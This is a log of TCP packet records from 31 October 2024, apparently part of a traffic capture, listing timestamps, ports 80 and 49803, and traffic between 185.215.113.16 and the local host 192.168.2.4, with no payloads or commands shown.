Oct 31, 2024 05:07:09.403218031 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.403230906 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.403270006 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.403270006 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.403306961 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.520143032 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520157099 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520169020 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520193100 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520203114 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520214081 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520226002 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520232916 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.520245075 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520257950 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520260096 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.520270109 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520281076 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.520282030 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520297050 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520308971 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.520338058 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.520380974 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520397902 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520409107 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520418882 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520430088 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520432949 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.520442009 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520458937 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520481110 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.520481110 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.520517111 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.520529985 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520541906 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520550966 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520561934 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520572901 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520579100 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.520586014 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520600080 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520601034 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.520611048 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520622969 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520638943 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.520638943 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.520656109 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520663977 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.520668983 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520679951 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520682096 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.520692110 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520700932 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.520704031 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520715952 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520720959 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.520726919 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520740032 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.520741940 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520754099 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520761013 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.520780087 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.520802975 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.520920992 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520931959 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520948887 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520958900 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520970106 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520981073 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.520993948 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.521007061 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.521007061 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.521007061 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.521039963 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.521040916 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.521051884 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.521064043 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.521075964 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.521111012 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.521111012 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.521199942 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.521212101 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.521223068 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.521245956 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.521260023 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.521266937 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.521271944 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.521284103 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.521296024 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.521307945 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.521312952 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.521325111 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.521326065 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.521337032 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.521348953 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.521359921 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.521373034 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.521373034 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.521400928 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.522226095 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.522238970 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.522249937 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.522278070 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.522281885 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.522289991 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.522303104 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.522304058 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.522349119 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.525547028 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.637876034 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.637917995 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.637929916 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.637942076 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.637979984 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.637979984 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.638022900 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.638106108 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638120890 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638134956 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638147116 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638156891 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.638183117 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.638207912 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.638370991 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638418913 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.638521910 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638534069 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638550997 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638560057 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638566017 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638571024 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638575077 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638581991 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638585091 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.638593912 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638607025 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638618946 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638636112 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.638637066 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638658047 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638659000 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.638670921 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638678074 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.638684034 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638698101 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.638703108 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638715029 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638724089 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638729095 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.638746023 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638747931 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.638758898 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638772011 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638771057 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.638783932 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638794899 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.638807058 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638813972 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.638818979 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638837099 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638838053 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.638849974 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638861895 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638870955 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.638874054 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638910055 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.638910055 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.638931036 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.638948917 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638959885 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638972044 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.638998032 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639014006 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639023066 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.639053106 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.639077902 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.639127970 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639139891 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639152050 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639163017 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639168978 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639175892 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.639183998 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639194965 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.639198065 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639215946 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.639238119 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.639254093 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639265060 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639276981 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639291048 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639297962 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.639307022 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639331102 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639333010 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.639365911 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.639365911 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.639379025 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639398098 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639408112 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639440060 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.639440060 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.639471054 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.639477968 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639491081 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639514923 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.639544964 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639555931 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639559031 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.639568090 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639592886 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.639622927 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.639705896 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639717102 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639729023 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639739990 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.639760017 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.639786005 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.639811039 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.756344080 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.756386995 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.756398916 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.756411076 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.756423950 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.756436110 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.756522894 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.756534100 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.756546974 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.756550074 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.756550074 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.756550074 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.756598949 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.756598949 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.756616116 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.756628990 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.756654024 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.756680965 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.756819010 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.756834984 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.756848097 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.756860971 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.756867886 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.756874084 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.756880045 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.756889105 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.756892920 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.756906986 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.756922007 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.756947041 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.756968021 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.756979942 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.756990910 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757002115 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757010937 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.757014990 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757029057 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757040024 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757051945 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757051945 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.757076025 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.757096052 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.757105112 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757142067 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.757165909 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757177114 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757194042 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757206917 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757215977 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.757244110 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.757301092 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757312059 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757323980 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757335901 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757344007 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.757352114 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757361889 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757366896 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.757391930 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.757399082 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757416964 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757428885 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757438898 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757440090 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.757451057 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757466078 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.757497072 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.757587910 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757599115 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757610083 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757623911 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757632971 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.757637024 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757649899 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757662058 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.757663012 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757675886 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757688999 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757693052 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.757714987 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.757736921 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.757769108 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757778883 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757790089 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757802010 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757806063 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.757816076 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757829905 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.757834911 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757859945 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.757880926 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.757911921 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757924080 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757936954 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757947922 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757957935 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.757957935 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757977962 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.757986069 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.757991076 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.758002996 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.758006096 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.758018970 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.758029938 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.758037090 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.758069038 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.874839067 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.874857903 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.874871016 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.874933958 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.874939919 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.874953985 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.874967098 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.874974012 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.874982119 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.874991894 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.874998093 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875020981 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.875040054 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.875097036 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875112057 CET	80	49803	185.215.113.16	192.168.2.4
